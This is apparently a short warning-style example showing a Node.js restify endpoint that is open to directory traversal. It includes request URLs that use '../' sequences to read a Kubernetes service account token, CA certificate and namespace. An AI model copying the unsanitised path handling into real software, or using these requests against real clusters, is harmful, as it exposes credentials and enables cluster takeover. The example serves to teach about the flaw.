WARNING: Example of nodejs app with directory traversal attack

app.js

var restify = require('restify');
var fs = require('fs');
var restifyPlugins = require('restify-plugins');

var server = restify.createServer();
server.listen(process.env.port || process.env.PORT || 3978, function () {
    console.log('%s listening to %s', server.name, server.url);
    //Do some initialization here ....
    // Get data from storage or cache etc
    isServerReady = true;
});

server.use(restifyPlugins.queryParser());

server.get("/termsandconditions", function(req, res, next){
    let name = req.query.version;
    let fileContent = fs.readFileSync('termsandconditions/' + name).toString()
    res.send(200, fileContent);
});

request

http://clusterfqdn:3978/termsandconditions?version=../../../var/run/secrets/kubernetes.io/serviceaccount/token
http://clusterfqdn:3978/termsandconditions?version=../../../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://clusterfqdn:3978/termsandconditions?version=../../../var/run/secrets/kubernetes.io/serviceaccount/namespace